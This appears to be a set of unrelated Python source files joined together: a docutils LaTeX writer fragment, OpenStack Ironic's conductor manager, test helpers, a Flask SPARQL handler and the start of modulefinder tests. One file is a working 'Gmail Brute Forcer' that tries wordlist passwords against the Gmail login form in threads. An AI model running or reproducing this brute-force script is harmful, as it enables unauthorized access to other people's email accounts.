# Document title
if node.parent.tagname == 'document':
self.push_output_collector(self.title)
self.context.append('')
self.pdfinfo.append(' pdftitle={%s},' %
self.encode(node.astext()))
# Topic titles (topic, admonition, sidebar)
elif (isinstance(node.parent, nodes.topic) or
isinstance(node.parent, nodes.admonition) or
isinstance(node.parent, nodes.sidebar)):
self.fallbacks['title'] = PreambleCmds.title
classes = ','.join(node.parent['classes'])
if not classes:
classes = node.tagname
self.out.append('\\DUtitle[%s]{' % classes)
self.context.append('}\n')
# Table caption
elif isinstance(node.parent, nodes.table):
self.push_output_collector(self.active_table.caption)
self.context.append('')
# Section title
else:
if hasattr(PreambleCmds, 'secnumdepth'):
self.requirements['secnumdepth'] = PreambleCmds.secnumdepth
section_name = self.d_class.section(self.section_level)
self.out.append('\n\n')
# System messages heading in red:
if ('system-messages' in node.parent['classes']):
self.requirements['color'] = PreambleCmds.color
section_title = self.encode(node.astext())
self.out.append(r'\%s[%s]{\color{red}' % (
section_name,section_title))
else:
self.out.append(r'\%s{' % section_name)
if self.section_level > len(self.d_class.sections):
# section level not supported by LaTeX
self.fallbacks['title'] = PreambleCmds.title
# self.out.append('\\phantomsection%\n ')
# label and ToC entry:
bookmark = ['']
# add sections with unsupported level to toc and pdfbookmarks?
## if self.section_level > len(self.d_class.sections):
## section_title = self.encode(node.astext())
## bookmark.append(r'\addcontentsline{toc}{%s}{%s}' %
## (section_name, section_title))
bookmark += self.ids_to_labels(node.parent, set_anchor=False)
self.context.append('%\n '.join(bookmark) + '%\n}\n')
# MAYBE postfix paragraph and subparagraph with \leavemode to
# ensure floats stay in the section and text starts on a new line.
def depart_title(self, node):
self.out.append(self.context.pop())
if (isinstance(node.parent, nodes.table) or
node.parent.tagname == 'document'):
self.pop_output_collector()
def minitoc(self, node, title, depth):
"""Generate a local table of contents with LaTeX package minitoc"""
section_name = self.d_class.section(self.section_level)
# name-prefix for current section level
minitoc_names = {'part': 'part', 'chapter': 'mini'}
if 'chapter' not in self.d_class.sections:
minitoc_names['section'] = 'sect'
try:
minitoc_name = minitoc_names[section_name]
except KeyError: # minitoc only supports part- and toplevel
self.warn('Skipping local ToC at %s level.\n' % section_name +
' Feature not supported with option "use-latex-toc"',
base_node=node)
return
# Requirements/Setup
self.requirements['minitoc'] = PreambleCmds.minitoc
self.requirements['minitoc-'+minitoc_name] = (r'\do%stoc' %
minitoc_name)
# depth: (Docutils defaults to unlimited depth)
maxdepth = len(self.d_class.sections)
self.requirements['minitoc-%s-depth' % minitoc_name] = (
r'\mtcsetdepth{%stoc}{%d}' % (minitoc_name, maxdepth))
# Process 'depth' argument (!Docutils stores a relative depth while
# minitoc expects an absolute depth!):
offset = {'sect': 1, 'mini': 0, 'part': 0}
if 'chapter' in self.d_class.sections:
offset['part'] = -1
if depth:
self.out.append('\\setcounter{%stocdepth}{%d}' %
(minitoc_name, depth + offset[minitoc_name]))
# title:
self.out.append('\\mtcsettitle{%stoc}{%s}\n' % (minitoc_name, title))
# the toc-generating command:
self.out.append('\\%stoc\n' % minitoc_name)
def visit_topic(self, node):
# Topic nodes can be generic topic, abstract, dedication, or ToC.
# table of contents:
if 'contents' in node['classes']:
self.out.append('\n')
self.out += self.ids_to_labels(node)
# add contents to PDF bookmarks sidebar
if isinstance(node.next_node(), nodes.title):
self.out.append('\n\\pdfbookmark[%d]{%s}{%s}\n' %
(self.section_level+1,
node.next_node().astext(),
node.get('ids', ['contents'])[0]
))
if self.use_latex_toc:
title = ''
if isinstance(node.next_node(), nodes.title):
title = self.encode(node.pop(0).astext())
depth = node.get('depth', 0)
if 'local' in node['classes']:
self.minitoc(node, title, depth)
self.context.append('')
return
if depth:
self.out.append('\\setcounter{tocdepth}{%d}\n' % depth)
if title != 'Contents':
self.out.append('\\renewcommand{\\contentsname}{%s}\n' %
title)
self.out.append('\\tableofcontents\n\n')
self.has_latex_toc = True
else: # Docutils generated contents list
# set flag for visit_bullet_list() and visit_title()
self.is_toc_list = True
self.context.append('')
elif ('abstract' in node['classes'] and
self.settings.use_latex_abstract):
self.push_output_collector(self.abstract)
self.out.append('\\begin{abstract}')
self.context.append('\\end{abstract}\n')
if isinstance(node.next_node(), nodes.title):
node.pop(0) # LaTeX provides its own title
else:
self.fallbacks['topic'] = PreambleCmds.topic
# special topics:
if 'abstract' in node['classes']:
self.fallbacks['abstract'] = PreambleCmds.abstract
self.push_output_collector(self.abstract)
if 'dedication' in node['classes']:
self.fallbacks['dedication'] = PreambleCmds.dedication
self.push_output_collector(self.dedication)
self.out.append('\n\\DUtopic[%s]{\n' % ','.join(node['classes']))
self.context.append('}\n')
def depart_topic(self, node):
self.out.append(self.context.pop())
self.is_toc_list = False
if ('abstract' in node['classes'] or
'dedication' in node['classes']):
self.pop_output_collector()
def visit_rubric(self, node):
self.fallbacks['rubric'] = PreambleCmds.rubric
self.out.append('\n\\DUrubric{')
self.context.append('}\n')
def depart_rubric(self, node):
self.out.append(self.context.pop())
def visit_transition(self, node):
self.fallbacks['transition'] = PreambleCmds.transition
self.out.append('\n\n')
self.out.append('%' + '_' * 75 + '\n')
self.out.append(r'\DUtransition')
self.out.append('\n\n')
def depart_transition(self, node):
pass
def visit_version(self, node):
self.visit_docinfo_item(node, 'version')
def depart_version(self, node):
self.depart_docinfo_item(node)
def unimplemented_visit(self, node):
raise NotImplementedError('visiting unimplemented node type: %s' %
node.__class__.__name__)
# def unknown_visit(self, node):
# def default_visit(self, node):
# vim: set ts=4 et ai :
| axbaretto/beam | sdks/python/.tox/docs/lib/python2.7/site-packages/docutils/writers/latex2e/__init__.py | Python | apache-2.0 | 124,941 |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Base conductor manager functionality."""
import copy
import inspect
import threading
import eventlet
import futurist
from futurist import periodics
from futurist import rejection
from ironic_lib import mdns
from oslo_db import exception as db_exception
from oslo_log import log
from oslo_utils import excutils
from oslo_utils import versionutils
from ironic.common import context as ironic_context
from ironic.common import driver_factory
from ironic.common import exception
from ironic.common import hash_ring
from ironic.common.i18n import _
from ironic.common import release_mappings as versions
from ironic.common import rpc
from ironic.common import states
from ironic.conductor import allocations
from ironic.conductor import notification_utils as notify_utils
from ironic.conductor import task_manager
from ironic.conductor import utils
from ironic.conf import CONF
from ironic.db import api as dbapi
from ironic.drivers.modules import deploy_utils
from ironic import objects
from ironic.objects import fields as obj_fields
LOG = log.getLogger(__name__)
class BaseConductorManager(object):
def __init__(self, host, topic):
super(BaseConductorManager, self).__init__()
if not host:
host = CONF.host
self.host = host
self.topic = topic
self.sensors_notifier = rpc.get_sensors_notifier()
self._started = False
self._shutdown = None
self._zeroconf = None
self.dbapi = None
def prepare_host(self):
"""Prepares host for initialization
Prepares the conductor for basic operation by removing any existing
transitory node power states and reservations which were previously
held by this host.
Under normal operation, this is also when the initial database
connectivity is established for the conductor's normal operation.
"""
# NOTE(TheJulia) We need to clear locks early on in the process
# of starting where the database shows we still hold them.
# This must be done before we re-register our existence in the
# conductors table and begin accepting new requests via RPC as
# if we do not then we may squash our *new* locks from new work.
if not self.dbapi:
LOG.debug('Initializing database client for %s.', self.host)
self.dbapi = dbapi.get_instance()
LOG.debug('Removing stale locks from the database matching '
'this conductor\'s hostname: %s', self.host)
# clear all target_power_state with locks by this conductor
self.dbapi.clear_node_target_power_state(self.host)
# clear all locks held by this conductor before registering
self.dbapi.clear_node_reservations_for_conductor(self.host)
def init_host(self, admin_context=None):
"""Initialize the conductor host.
:param admin_context: the admin context to pass to periodic tasks.
:raises: RuntimeError when conductor is already running.
:raises: NoDriversLoaded when no drivers are enabled on the conductor.
:raises: DriverNotFound if a driver is enabled that does not exist.
:raises: DriverLoadError if an enabled driver cannot be loaded.
:raises: DriverNameConflict if a classic driver and a dynamic driver
are both enabled and have the same name.
"""
if self._started:
raise RuntimeError(_('Attempt to start an already running '
'conductor manager'))
self._shutdown = False
if not self.dbapi:
self.dbapi = dbapi.get_instance()
self._keepalive_evt = threading.Event()
"""Event for the keepalive thread."""
# TODO(dtantsur): make the threshold configurable?
rejection_func = rejection.reject_when_reached(
CONF.conductor.workers_pool_size)
self._executor = futurist.GreenThreadPoolExecutor(
max_workers=CONF.conductor.workers_pool_size,
check_and_reject=rejection_func)
"""Executor for performing tasks async."""
# TODO(jroll) delete the use_groups argument and use the default
# in Stein.
self.ring_manager = hash_ring.HashRingManager(
use_groups=self._use_groups())
"""Consistent hash ring which maps drivers to conductors."""
# NOTE(tenbrae): these calls may raise DriverLoadError or
# DriverNotFound
# NOTE(vdrok): Instantiate network and storage interface factory on
# startup so that all the interfaces are loaded at the very
# beginning, and failures prevent the conductor from starting.
hardware_types = driver_factory.hardware_types()
driver_factory.NetworkInterfaceFactory()
driver_factory.StorageInterfaceFactory()
# NOTE(jroll) this is passed to the dbapi, which requires a list, not
# a generator (which keys() returns in py3)
hardware_type_names = list(hardware_types)
# check that at least one driver is loaded, whether classic or dynamic
if not hardware_type_names:
msg = ("Conductor %s cannot be started because no hardware types "
"were specified in the 'enabled_hardware_types' config "
"option.")
LOG.error(msg, self.host)
raise exception.NoDriversLoaded(conductor=self.host)
self._collect_periodic_tasks(admin_context)
try:
# Register this conductor with the cluster
self.conductor = objects.Conductor.register(
admin_context, self.host, hardware_type_names,
CONF.conductor.conductor_group)
except exception.ConductorAlreadyRegistered:
# This conductor was already registered and did not shut down
# properly, so log a warning and update the record.
LOG.warning("A conductor with hostname %(hostname)s was "
"previously registered. Updating registration",
{'hostname': self.host})
self.conductor = objects.Conductor.register(
admin_context, self.host, hardware_type_names,
CONF.conductor.conductor_group, update_existing=True)
# register hardware types and interfaces supported by this conductor
# and validate them against other conductors
try:
self._register_and_validate_hardware_interfaces(hardware_types)
except (exception.DriverLoadError, exception.DriverNotFound,
exception.ConductorHardwareInterfacesAlreadyRegistered,
exception.InterfaceNotFoundInEntrypoint,
exception.NoValidDefaultForInterface) as e:
with excutils.save_and_reraise_exception():
LOG.error('Failed to register hardware types. %s', e)
self.del_host()
# Start periodic tasks
self._periodic_tasks_worker = self._executor.submit(
self._periodic_tasks.start, allow_empty=True)
self._periodic_tasks_worker.add_done_callback(
self._on_periodic_tasks_stop)
for state in states.STUCK_STATES_TREATED_AS_FAIL:
self._fail_transient_state(
state,
_("The %(state)s state can't be resumed by conductor "
"%(host)s. Moving to fail state.") %
{'state': state, 'host': self.host})
# Start consoles if it set enabled in a greenthread.
try:
self._spawn_worker(self._start_consoles,
ironic_context.get_admin_context())
except exception.NoFreeConductorWorker:
LOG.warning('Failed to start worker for restarting consoles.')
# Spawn a dedicated greenthread for the keepalive
try:
self._spawn_worker(self._conductor_service_record_keepalive)
LOG.info('Successfully started conductor with hostname '
'%(hostname)s.',
{'hostname': self.host})
except exception.NoFreeConductorWorker:
with excutils.save_and_reraise_exception():
LOG.critical('Failed to start keepalive')
self.del_host()
# Resume allocations that started before the restart.
try:
self._spawn_worker(self._resume_allocations,
ironic_context.get_admin_context())
except exception.NoFreeConductorWorker:
LOG.warning('Failed to start worker for resuming allocations.')
if CONF.conductor.enable_mdns:
self._publish_endpoint()
self._started = True
def _use_groups(self):
release_ver = versions.RELEASE_MAPPING.get(CONF.pin_release_version)
# NOTE(jroll) self.RPC_API_VERSION is actually defined in a subclass,
# but we only use this class from there.
version_cap = (release_ver['rpc'] if release_ver
else self.RPC_API_VERSION)
return versionutils.is_compatible('1.47', version_cap)
def _fail_transient_state(self, state, last_error):
"""Apply "fail" transition to nodes in a transient state.
If the conductor server dies abruptly mid deployment or cleaning
(OMM Killer, power outage, etc...) we can not resume the process even
if the conductor comes back online. Cleaning the reservation of
the nodes (dbapi.clear_node_reservations_for_conductor) is not enough
to unstick it, so let's gracefully fail the process.
"""
filters = {'reserved': False, 'provision_state': state}
self._fail_if_in_state(ironic_context.get_admin_context(), filters,
state, 'provision_updated_at',
last_error=last_error)
def _collect_periodic_tasks(self, admin_context):
"""Collect driver-specific periodic tasks.
Conductor periodic tasks accept context argument, driver periodic
tasks accept this manager and context. We have to ensure that the
same driver interface class is not traversed twice, otherwise
we'll have several instances of the same task.
:param admin_context: Administrator context to pass to tasks.
"""
LOG.debug('Collecting periodic tasks')
# collected callables
periodic_task_callables = []
# list of visited classes to avoid adding the same tasks twice
periodic_task_classes = set()
def _collect_from(obj, args):
"""Collect tasks from the given object.
:param obj: the object to collect tasks from.
:param args: a tuple of arguments to pass to tasks.
"""
if obj and obj.__class__ not in periodic_task_classes:
for name, member in inspect.getmembers(obj):
if periodics.is_periodic(member):
LOG.debug('Found periodic task %(owner)s.%(member)s',
{'owner': obj.__class__.__name__,
'member': name})
periodic_task_callables.append((member, args, {}))
periodic_task_classes.add(obj.__class__)
# First, collect tasks from the conductor itself
_collect_from(self, (admin_context,))
# Second, collect tasks from hardware interfaces
for ifaces in driver_factory.all_interfaces().values():
for iface in ifaces.values():
_collect_from(iface, args=(self, admin_context))
# TODO(dtantsur): allow periodics on hardware types themselves?
if len(periodic_task_callables) > CONF.conductor.workers_pool_size:
LOG.warning('This conductor has %(tasks)d periodic tasks '
'enabled, but only %(workers)d task workers '
'allowed by [conductor]workers_pool_size option',
{'tasks': len(periodic_task_callables),
'workers': CONF.conductor.workers_pool_size})
self._periodic_tasks = periodics.PeriodicWorker(
periodic_task_callables,
executor_factory=periodics.ExistingExecutor(self._executor))
# This is only used in tests currently. Delete it?
self._periodic_task_callables = periodic_task_callables
def del_host(self, deregister=True):
# Conductor deregistration fails if called on non-initialized
# conductor (e.g. when rpc server is unreachable).
if not hasattr(self, 'conductor'):
return
self._shutdown = True
self._keepalive_evt.set()
# clear all locks held by this conductor before deregistering
self.dbapi.clear_node_reservations_for_conductor(self.host)
if deregister:
try:
# Inform the cluster that this conductor is shutting down.
# Note that rebalancing will not occur immediately, but when
# the periodic sync takes place.
self.conductor.unregister()
LOG.info('Successfully stopped conductor with hostname '
'%(hostname)s.',
{'hostname': self.host})
except exception.ConductorNotFound:
pass
else:
LOG.info('Not deregistering conductor with hostname %(hostname)s.',
{'hostname': self.host})
# Waiting here to give workers the chance to finish. This has the
# benefit of releasing locks workers placed on nodes, as well as
# having work complete normally.
self._periodic_tasks.stop()
self._periodic_tasks.wait()
self._executor.shutdown(wait=True)
if self._zeroconf is not None:
self._zeroconf.close()
self._zeroconf = None
self._started = False
def _register_and_validate_hardware_interfaces(self, hardware_types):
"""Register and validate hardware interfaces for this conductor.
Registers a row in the database for each combination of
(hardware type, interface type, interface) that is supported and
enabled.
TODO: Validates against other conductors to check if the
set of registered hardware interfaces for a given hardware type is the
same, and warns if not (we can't error out, otherwise all conductors
must be restarted at once to change configuration).
:param hardware_types: Dictionary mapping hardware type name to
hardware type object.
:raises: ConductorHardwareInterfacesAlreadyRegistered
:raises: InterfaceNotFoundInEntrypoint
:raises: NoValidDefaultForInterface if the default value cannot be
calculated and is not provided in the configuration
"""
# first unregister, in case we have cruft laying around
self.conductor.unregister_all_hardware_interfaces()
interfaces = []
for ht_name, ht in hardware_types.items():
interface_map = driver_factory.enabled_supported_interfaces(ht)
for interface_type, interface_names in interface_map.items():
default_interface = driver_factory.default_interface(
ht, interface_type, driver_name=ht_name)
interface = {}
interface["hardware_type"] = ht_name
interface["interface_type"] = interface_type
for interface_name in interface_names:
interface["interface_name"] = interface_name
interface["default"] = \
(interface_name == default_interface)
interfaces.append(copy.copy(interface))
self.conductor.register_hardware_interfaces(interfaces)
# TODO(jroll) validate against other conductor, warn if different
# how do we do this performantly? :|
def _on_periodic_tasks_stop(self, fut):
try:
fut.result()
except Exception as exc:
LOG.critical('Periodic tasks worker has failed: %s', exc)
else:
LOG.info('Successfully shut down periodic tasks')
def iter_nodes(self, fields=None, **kwargs):
"""Iterate over nodes mapped to this conductor.
Requests node set from and filters out nodes that are not
mapped to this conductor.
Yields tuples (node_uuid, driver, conductor_group, ...) where ... is
derived from fields argument, e.g.: fields=None means yielding ('uuid',
'driver', 'conductor_group'), fields=['foo'] means yielding ('uuid',
'driver', 'conductor_group', 'foo').
:param fields: list of fields to fetch in addition to uuid, driver,
and conductor_group
:param kwargs: additional arguments to pass to dbapi when looking for
nodes
:return: generator yielding tuples of requested fields
"""
columns = ['uuid', 'driver', 'conductor_group'] + list(fields or ())
node_list = self.dbapi.get_nodeinfo_list(columns=columns, **kwargs)
for result in node_list:
if self._shutdown:
break
if self._mapped_to_this_conductor(*result[:3]):
yield result
def _spawn_worker(self, func, *args, **kwargs):
"""Create a greenthread to run func(*args, **kwargs).
Spawns a greenthread if there are free slots in pool, otherwise raises
exception. Execution control returns immediately to the caller.
:returns: Future object.
:raises: NoFreeConductorWorker if worker pool is currently full.
"""
try:
return self._executor.submit(func, *args, **kwargs)
except futurist.RejectedSubmission:
raise exception.NoFreeConductorWorker()
def _conductor_service_record_keepalive(self):
while not self._keepalive_evt.is_set():
try:
self.conductor.touch()
except db_exception.DBConnectionError:
LOG.warning('Conductor could not connect to database '
'while heartbeating.')
except Exception as e:
LOG.exception('Error while heartbeating. Error: %(err)s',
{'err': e})
self._keepalive_evt.wait(CONF.conductor.heartbeat_interval)
def _mapped_to_this_conductor(self, node_uuid, driver, conductor_group):
"""Check that node is mapped to this conductor.
Note that because mappings are eventually consistent, it is possible
for two conductors to simultaneously believe that a node is mapped to
them. Any operation that depends on exclusive control of a node should
take out a lock.
"""
try:
ring = self.ring_manager.get_ring(driver, conductor_group)
except exception.DriverNotFound:
return False
return self.host in ring.get_nodes(node_uuid.encode('utf-8'))
def _fail_if_in_state(self, context, filters, provision_state,
sort_key, callback_method=None,
err_handler=None, last_error=None,
keep_target_state=False):
"""Fail nodes that are in specified state.
Retrieves nodes that satisfy the criteria in 'filters'.
If any of these nodes is in 'provision_state', it has failed
in whatever provisioning activity it was currently doing.
That failure is processed here.
:param context: request context
:param filters: criteria (as a dictionary) to get the desired
list of nodes that satisfy the filter constraints.
For example, if filters['provisioned_before'] = 60,
this would process nodes whose provision_updated_at
field value was 60 or more seconds before 'now'.
:param provision_state: provision_state that the node is in,
for the provisioning activity to have failed,
either one string or a set.
:param sort_key: the nodes are sorted based on this key.
:param callback_method: the callback method to be invoked in a
spawned thread, for a failed node. This
method must take a :class:`TaskManager` as
the first (and only required) parameter.
:param err_handler: for a failed node, the error handler to invoke
if an error occurs trying to spawn an thread
to do the callback_method.
:param last_error: the error message to be updated in node.last_error
:param keep_target_state: if True, a failed node will keep the same
target provision state it had before the
failure. Otherwise, the node's target
provision state will be determined by the
fsm.
"""
if isinstance(provision_state, str):
provision_state = {provision_state}
node_iter = self.iter_nodes(filters=filters,
sort_key=sort_key,
sort_dir='asc')
desired_maintenance = filters.get('maintenance')
workers_count = 0
for node_uuid, driver, conductor_group in node_iter:
try:
with task_manager.acquire(context, node_uuid,
purpose='node state check') as task:
# Check maintenance value since it could have changed
# after the filtering was done.
if (desired_maintenance is not None
and desired_maintenance != task.node.maintenance):
continue
if task.node.provision_state not in provision_state:
continue
target_state = (None if not keep_target_state else
task.node.target_provision_state)
# timeout has been reached - process the event 'fail'
if callback_method:
task.process_event('fail',
callback=self._spawn_worker,
call_args=(callback_method, task),
err_handler=err_handler,
target_state=target_state)
else:
utils.node_history_record(
task.node, event=last_error,
error=True,
event_type=states.TRANSITION)
task.process_event('fail', target_state=target_state)
except exception.NoFreeConductorWorker:
break
except (exception.NodeLocked, exception.NodeNotFound):
continue
workers_count += 1
if workers_count >= CONF.conductor.periodic_max_workers:
break
def _start_consoles(self, context):
"""Start consoles if set enabled.
:param context: request context
"""
filters = {'console_enabled': True}
node_iter = self.iter_nodes(filters=filters)
for node_uuid, driver, conductor_group in node_iter:
try:
with task_manager.acquire(context, node_uuid, shared=False,
purpose='start console') as task:
notify_utils.emit_console_notification(
task, 'console_restore',
obj_fields.NotificationStatus.START)
try:
LOG.debug('Trying to start console of node %(node)s',
{'node': node_uuid})
task.driver.console.start_console(task)
LOG.info('Successfully started console of node '
'%(node)s', {'node': node_uuid})
notify_utils.emit_console_notification(
task, 'console_restore',
obj_fields.NotificationStatus.END)
except Exception as err:
msg = (_('Failed to start console of node %(node)s '
'while starting the conductor, so changing '
'the console_enabled status to False, error: '
'%(err)s')
% {'node': node_uuid, 'err': err})
LOG.error(msg)
# If starting console failed, set node console_enabled
# back to False and set node's last error.
utils.node_history_record(task.node, event=msg,
error=True,
event_type=states.STARTFAIL)
task.node.console_enabled = False
task.node.save()
notify_utils.emit_console_notification(
task, 'console_restore',
obj_fields.NotificationStatus.ERROR)
except exception.NodeLocked:
LOG.warning('Node %(node)s is locked while trying to '
'start console on conductor startup',
{'node': node_uuid})
continue
except exception.NodeNotFound:
LOG.warning("During starting console on conductor "
"startup, node %(node)s was not found",
{'node': node_uuid})
continue
finally:
# Yield on every iteration
eventlet.sleep(0)
def _resume_allocations(self, context):
"""Resume unfinished allocations on restart."""
filters = {'state': states.ALLOCATING,
'conductor_affinity': self.conductor.id}
for allocation in objects.Allocation.list(context, filters=filters):
LOG.debug('Resuming unfinished allocation %s', allocation.uuid)
allocations.do_allocate(context, allocation)
def _publish_endpoint(self):
params = {}
if CONF.debug:
params['ipa_debug'] = True
self._zeroconf = mdns.Zeroconf()
self._zeroconf.register_service('baremetal',
deploy_utils.get_ironic_api_url(),
params=params)
| openstack/ironic | ironic/conductor/base_manager.py | Python | apache-2.0 | 27,613 |
from client import Client, NOTIF_SUCCESS
URL = u'/organizations'
BTN_DELETE = u"//a[@class='delete' and contains(@data-confirm, '{0}')]"
BTN_EDIT = (u"//a[normalize-space(.)='{0}' and contains"
"(@href,'organizations')]/"
"../../td/div/a[@data-toggle='dropdown']")
BTN_NEW = u'/organizations/new'
BTN_PROCEED = u"//a[@class='btn btn-default' and contains(@href, '/edit')]"
BTN_SEARCH = u"//button[contains(@type,'submit')]"
BTN_SUBMIT = u'commit'
FLD_DESCRIPTION = u'organization[description]'
FLD_LABEL = u'organization[label]'
FLD_NAME = u'organization[name]'
FRM_SEARCH = u'search'
ORG_NAME = u"//a[contains(@href,'organizations')]/span[contains(.,'{0}')]"
def create(name, label, description):
"""Creates a new organization.
"""
with Client() as client:
client.visit(client.base_url)
client.login()
# Go to the organizations page
client.visit(u'{0}{1}'.format(client.base_url, URL))
# Click button to create new organization
client.browser.find_link_by_href(BTN_NEW).click()
# Fill out the form
client.browser.fill_form(
{FLD_NAME: name,
FLD_LABEL: label,
FLD_DESCRIPTION: description})
# Submit
client.browser.find_by_name(BTN_SUBMIT).click()
# Proceed to Edit
client.browser.find_by_xpath(BTN_PROCEED).click()
# Final submit
client.browser.find_by_name(BTN_SUBMIT).click()
def delete(name, really=True):
"""Deletes an organization by name.
"""
with Client() as client:
client.visit(client.base_url)
client.login()
# Search for the organization
search(name, client)
# Click the 'Edit' dropdown button
client.browser.find_by_xpath(BTN_EDIT.format(name)).click()
# Click the 'Delete' button
client.browser.find_by_xpath(BTN_DELETE.format(name)).click()
# Handle the confirmation dialog
alert_dlg = client.browser.get_alert()
# Really delete the organization?
if really:
alert_dlg.accept()
else:
alert_dlg.dismiss()
# Check for success notification
client.is_element_present_by_xpath(NOTIF_SUCCESS, wait_time=5)
def edit():
"""Edits an existing organization."""
pass
def search(name, client):
"""Search for an organization by ``name``,
:param str name: The name of the organization to be searched for.
:param client: A Splinter Browser instance.
:returns: A Splinter ``WebDriverElement`` for the found organization.
:rtype: ``WebDriverElement``
:raises: ``ElementDoesNotExist`` if the organization cannot be found.
"""
# Go to the organizations page
client.visit(u'{0}{1}'.format(client.base_url, URL))
# Search for the organization
client.browser.fill(FRM_SEARCH, name)
# Click the 'Search' button
client.browser.find_by_xpath(BTN_SEARCH).click()
# Locate the organization from the results returned
org = client.browser.find_by_xpath(ORG_NAME.format(name)).first
return org
| SatelliteQE/staplegun | staplegun/organization.py | Python | gpl-3.0 | 3,111 |
from flask_restful import Resource
from flask import g, Response
class PredicatesHandler(Resource):
def get(self, graph):
"""
:return: All the predicates ?p used in the triples stored in all the graphs
"""
query = """SELECT DISTINCT ?predicate
WHERE {
GRAPH <%s> {
?s ?predicate ?o .
}
}
""" % graph
res = g.db.query(query)
if res is None:
return Response(status=500, mimetype='application/json', content_type='application/json')
return res['bindings'] | b-cube/restparql | api/resources/predicates.py | Python | gpl-3.0 | 584 |
#!usr/bin/python
#Gmail Brute Forcer
#To use this script you need ClientCookie and Client Form.
#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
#To install the package, run the following command:
#python setup.py build
#then (with appropriate permissions)
#python setup.py install
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, random, sys, socket, httplib, re
try:
sys.path.append('ClientCookie-1.0.3')
import ClientCookie
sys.path.append('ClientForm-0.1.17')
import ClientForm
except(ImportError):
print "\nTo use this script you need ClientCookie and Client Form."
print "Read the top intro for instructions.\n"
sys.exit(1)
from copy import copy
if len(sys.argv) !=3:
print "Usage: ./gmailbrute.py <user> <wordlist>"
sys.exit(1)
try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
print "\n\t d3hydr8[at]gmail[dot]com GmailBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server: https://www.gmail.com/"
print "[+] User:",sys.argv[1]
print "[+] Words Loaded:",len(words),"\n"
wordlist = copy(words)
def reloader():
for word in wordlist:
words.append(word)
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "Reloading Wordlist\n"
reloader()
value = random.sample(words, 1)
lock.release()
return value[0]
class Worker(threading.Thread):
def run(self):
global success
value = getword()
try:
print "-"*12
print "User:",sys.argv[1],"Password:",value
cookieJar = ClientCookie.CookieJar()
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
ClientCookie.install_opener(opener)
fp = ClientCookie.urlopen("https://www.gmail.com/")
forms = ClientForm.ParseResponse(fp)
form = forms[0]
form["Email"] = sys.argv[1]
form["Passwd"] = value
fp = ClientCookie.urlopen(form.click())
site = fp.readlines()
for line in site:
if re.search("Gmail - Inbox", line):
print "\tSuccessful Login:", value
success = value
sys.exit(1)
fp.close()
except(socket.gaierror), msg:
pass
for i in range(len(words)):
work = Worker()
work.start()
time.sleep(1)
time.sleep(3)
try:
if success:
print "\n\n[+] Successful Login: https://www.gmail.com/"
print "[+] User:",sys.argv[1]," Password:",success
except(NameError):
print "\n[+] Couldn't find correct password"
pass
print "\n[+] Done\n"
| knightmare2600/d4rkc0de | bruteforce/gmailbrute.py | Python | gpl-2.0 | 2,738 |
"""SnowFloat Client Library Tests."""
| snowfloat/snowfloat-python | tests/__init__.py | Python | bsd-3-clause | 38 |
'''
Created on Sep 22, 2016
@author: rtorres
'''
from flaskiwsapp.snippets.exceptions.baseExceptions import LogicalException
class RoleExistsException(LogicalException):
def __init__(self, argument=None):
super(RoleExistsException, self).__init__()
self.message = 'The role %s already exists' % argument
class RoleDoesNotExistsException(LogicalException):
def __init__(self, argument=None):
super(RoleDoesNotExistsException, self).__init__()
self.message = 'The role %s does not exists' % argument
| rafasis1986/EngineeringMidLevel | flaskiwsapp/snippets/exceptions/roleExceptions.py | Python | mit | 545 |
import os
import errno
import importlib.machinery
import py_compile
import shutil
import unittest
import tempfile
from test import support
import modulefinder
TEST_DIR = tempfile.mkdtemp()
TEST_PATH = [TEST_DIR, os.path.dirname(tempfile.__file__)]
# Each test description is a list of 5 items:
#
# 1. a module name that will be imported by modulefinder
# 2. a list of module names that modulefinder is required to find
# 3. a list of module names that modulefinder should complain
# about because they are not found
# 4. a list of module names that modulefinder should complain
# about because they MAY be not found
# 5. a string specifying packages to create; the format is obvious imo.
#
# Each package will be created in TEST_DIR, and TEST_DIR will be
# removed after the tests again.
# Modulefinder searches in a path that contains TEST_DIR, plus
# the standard Lib directory.
maybe_test = [
"a.module",
["a", "a.module", "sys",
"b"],
["c"], ["b.something"],
"""\
a/__init__.py
a/module.py
from b import something
from c import something
b/__init__.py
from sys import *
""",
]
maybe_test_new = [
"a.module",
["a", "a.module", "sys",
"b", "__future__"],
["c"], ["b.something"],
"""\
a/__init__.py
a/module.py
from b import something
from c import something
b/__init__.py
from __future__ import absolute_import
from sys import *
"""]
package_test = [
"a.module",
["a", "a.b", "a.c", "a.module", "mymodule", "sys"],
["blahblah", "c"], [],
"""\
mymodule.py
a/__init__.py
import blahblah
from a import b
import c
a/module.py
import sys
from a import b as x
from a.c import sillyname
a/b.py
a/c.py
from a.module import x
import mymodule as sillyname
from sys import version_info
"""]
absolute_import_test = [
"a.module",
["a", "a.module",
"b", "b.x", "b.y", "b.z",
"__future__", "sys", "gc"],
["blahblah", "z"], [],
"""\
mymodule.py
a/__init__.py
a/module.py
from __future__ import absolute_import
import sys # sys
import blahblah # fails
import gc # gc
import b.x # b.x
from b import y # b.y
from b.z import * # b.z.*
a/gc.py
a/sys.py
import mymodule
a/b/__init__.py
a/b/x.py
a/b/y.py
a/b/z.py
b/__init__.py
import z
b/unused.py
b/x.py
b/y.py
b/z.py
"""]
relative_import_test = [
"a.module",
["__future__",
"a", "a.module",
"a.b", "a.b.y", "a.b.z",
"a.b.c", "a.b.c.moduleC",
"a.b.c.d", "a.b.c.e",
"a.b.x",
"gc"],
[], [],
"""\
mymodule.py
a/__init__.py
